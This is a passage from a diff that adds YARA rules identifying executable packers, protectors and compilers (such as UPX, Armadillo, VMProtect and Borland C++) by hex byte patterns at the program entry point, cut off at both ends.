+		$0 = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+		$1 = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Cpp_NE_Loader_
+{
+	meta:
+		description = "Microsoft C++ NE Loader"
+	strings:
+		$0 = {30 CD 21 86 E0 2E A3 00 00 3D 00 02 73 00 B8 00 00 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_1x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Protection_Plus_vxx_
+{
+	meta:
+		description = "Protection Plus vx.x"
+	strings:
+		$0 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+		$1 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A}
+		$2 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Microsoft_C_for_Windows_1_
+{
+	meta:
+		description = "Microsoft C for Windows (1)"
+	strings:
+		$0 = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_114_
+{
+	meta:
+		description = "Trap 1.14"
+	strings:
+		$0 = {8C D1 BA 99 CB 8E D2 33 D2 8E D1 8B CA B9 E8 03 EB 03 90 CD 20 E2 F9 33 D2 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0C 83 C1 FE 83 C2 01 EB ED EB FE CD 78 E8 05 00 CD 21 EB 6E 90 FA 66 8C E3 66 B8 00 00 01 00 8E E0 66 8C E0 8E E3 66 3D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v010__v012_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.10 - v0.12 Beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v10xx_
+{
+	meta:
+		description = "Crunch/PE v1.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+		$1 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v300_v301_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+		$1 = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CryptoLock_202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock 2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$1 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_301_305_
+{
+	meta:
+		description = "Armadillo 3.01, 3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_7bit_Scrambler_102_
+{
+	meta:
+		description = "UPX 7bit Scrambler 1.02"
+	strings:
+		$0 = {0F 83 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_Win16_1991_
+{
+	meta:
+		description = "Borland C++ Win16 (1991)"
+	strings:
+		$0 = {9A FF FF 00 00 0B C0 75 03 E9 D5 00 8C 06 16 00 89 1E 1C 00 89 36 1A 00 89 3E 18 00 89 16 1E 00 B8 FF FF 50 9A FF FF 00 00 33 C0 1E 07 BF DE 03 B9 7E 0A 2B CF FC F3 AA 33 C0 50 9A FF FF 00 00 FF 36 18 00 9A FF FF 00 00 0B C0 75 03 E9 91 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V032__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.32 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 85 5C FF 16 72 57 2C 03 73 02 ?? ?? 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? ?? ?? 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 16 5A 9F 12 C0 D0 E9 74 0E ?? ?? ?? ?? ?? ?? ?? ?? ?? B5 01 FF 56 08 ?? ?? FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F ?? ?? D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 ?? ?? 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10 E2 E0}
+	condition:
+		$0
+}
+rule _UPX_293__300_LZMA_
+{
+	meta:
+		description = "UPX 2.93 - 3.00 [LZMA"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1360__Obsidium_Software__20080730_
+{
+	meta:
+		description = "Obsidium V1.3.6.0 -> Obsidium Software * 20080730"
+	strings:
+		$0 = {EB 02 ?? ?? 50 EB 01 ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 1F EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 33 C0 EB 01 ?? 64 FF 30 EB 04 ?? ?? ?? ?? 64 89 20 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 ?? 00 00 00 EB 01 ?? E8 ?? FF FF FF EB 01 ?? EB 03 ?? ?? ?? EB 02 ?? ?? EB 02 ?? ?? 64 8F 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V15__Vaska_
+{
+	meta:
+		description = "RCryptor V1.5 -> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_vxx_
+{
+	meta:
+		description = "Exe Shield vx.x"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D}
+		$1 = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMProtect_v125__PolyTech_
+{
+	meta:
+		description = "VMProtect v1.25 --> PolyTech"
+	strings:
+		$0 = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$1 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+		$2 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+		$3 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+		$4 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+		$5 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+		$6 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+		$7 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+		$8 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+		$9 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+		$10 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+		$11 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+		$12 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+		$13 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$14 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$15 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$16 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$17 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$18 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$19 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$20 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$21 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$22 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$23 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$24 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$25 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$26 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$27 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$28 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$29 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$30 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$31 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$32 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$33 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$34 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$35 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$36 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$37 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$38 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$39 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$40 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$41 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$42 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$43 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$44 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$45 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$46 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$47 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$48 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$49 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$50 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$51 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$52 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$53 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$54 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$55 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$56 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$57 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$58 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$59 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$60 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$61 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$62 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$63 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$64 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$65 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$66 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$67 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$68 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$69 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$70 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$71 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$72 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$73 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$74 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$75 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$76 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$77 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$78 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$79 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$80 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$81 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$82 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$83 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$84 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$85 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$86 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$87 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$88 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$89 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$90 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$91 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$92 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$93 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$94 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$95 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$96 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$97 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$98 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$99 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
